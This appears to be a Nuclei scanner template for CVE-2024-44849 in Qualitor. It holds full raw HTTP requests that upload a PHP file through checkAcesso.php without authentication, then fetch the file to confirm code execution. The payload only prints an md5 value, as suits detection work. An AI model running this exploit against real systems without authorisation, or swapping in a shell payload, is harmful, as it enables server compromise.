Description
Qualitor up to 8.24 is vulnerable to Remote Code Execution (RCE) via Arbitrary File Upload in checkAcesso.php.
Qualitor up to 8.24 is vulnerable to Remote Code Execution (RCE) via Arbitrary File Upload in checkAcesso.php.
id: CVE-2024-44849
info:
name: Qualitor <= 8.24 - Remote Code Execution
author: s4e-io
severity: critical
description: |
Qualitor up to 8.24 is vulnerable to Remote Code Execution (RCE) via Arbitrary File Upload in checkAcesso.php.
impact: |
Unauthenticated attackers can upload malicious files to achieve remote code execution on the Qualitor server.
remediation: |
Update Qualitor to version later than 8.24 that patches the arbitrary file upload vulnerability.
reference:
- https://cvefeed.io/vuln/detail/CVE-2024-44849
- https://nvd.nist.gov/vuln/detail/CVE-2024-44849
- https://github.com/extencil/CVE-2024-44849
- https://blog.extencil.me/information-security/cves/cve-2024-44849
- https://sploitus.com/exploit?id=D08D686E-7910-5E17-99CC-36407B9884B8
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-44849
cwe-id: CWE-434
epss-score: 0.46287
epss-percentile: 0.98751
metadata:
verified: true
max-request: 2
vendor: qualitor
product: qualitor
fofa-query: "Qualitor"
tags: cve,cve2024,rce,file-upload,qualitor,intrusive,vkev,vuln
variables:
filename: "{{rand_base(12)}}"
num: "{{rand_int(1000, 9999)}}"
flow: http(1) && http(2)
http:
- raw:
- |
POST /html/ad/adfilestorage/request/checkAcesso.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=---------------------------QUALITORspaceCVEspace2024space44849
-----------------------------QUALITORspaceCVEspace2024space44849
Content-Disposition: form-data; name="idtipo"
2
-----------------------------QUALITORspaceCVEspace2024space44849
Content-Disposition: form-data; name="nmfilestorage"
-----------------------------QUALITORspaceCVEspace2024space44849
Content-Disposition: form-data; name="nmdiretoriorede"
.
-----------------------------QUALITORspaceCVEspace2024space44849
Content-Disposition: form-data; name="nmbucket"
-----------------------------QUALITORspaceCVEspace2024space44849
Content-Disposition: form-data; name="nmaccesskey"
-----------------------------QUALITORspaceCVEspace2024space44849
Content-Disposition: form-data; name="nmkeyid"
-----------------------------QUALITORspaceCVEspace2024space44849
Content-Disposition: form-data; name="fleArquivo"; filename="{{filename}}.php"
<?php echo md5({{num}}); ?>
-----------------------------QUALITORspaceCVEspace2024space44849
Content-Disposition: form-data; name="cdfilestorage"
-----------------------------QUALITORspaceCVEspace2024space44849--
matchers:
- type: dsl
dsl:
- contains_all(body, "parent.showQAlert(\'Upload", "showQAlert")
- status_code == 200
condition: and
internal: true
- raw:
- |
GET /html/ad/adfilestorage/request/{{filename}}.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body,"{{md5(num)}}")'
- 'contains(content_type, "text/html")'
- 'status_code == 200'
condition: and
# digest: 4a0a0047304502200bbbf696d05b832a03c1b54277dad82a071b3a5a863b9b76aecd227ca35fb9b1022100b8f4e6f2af5eef45e885268def324db3990543e655772c4e6d491d82647b1f12:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.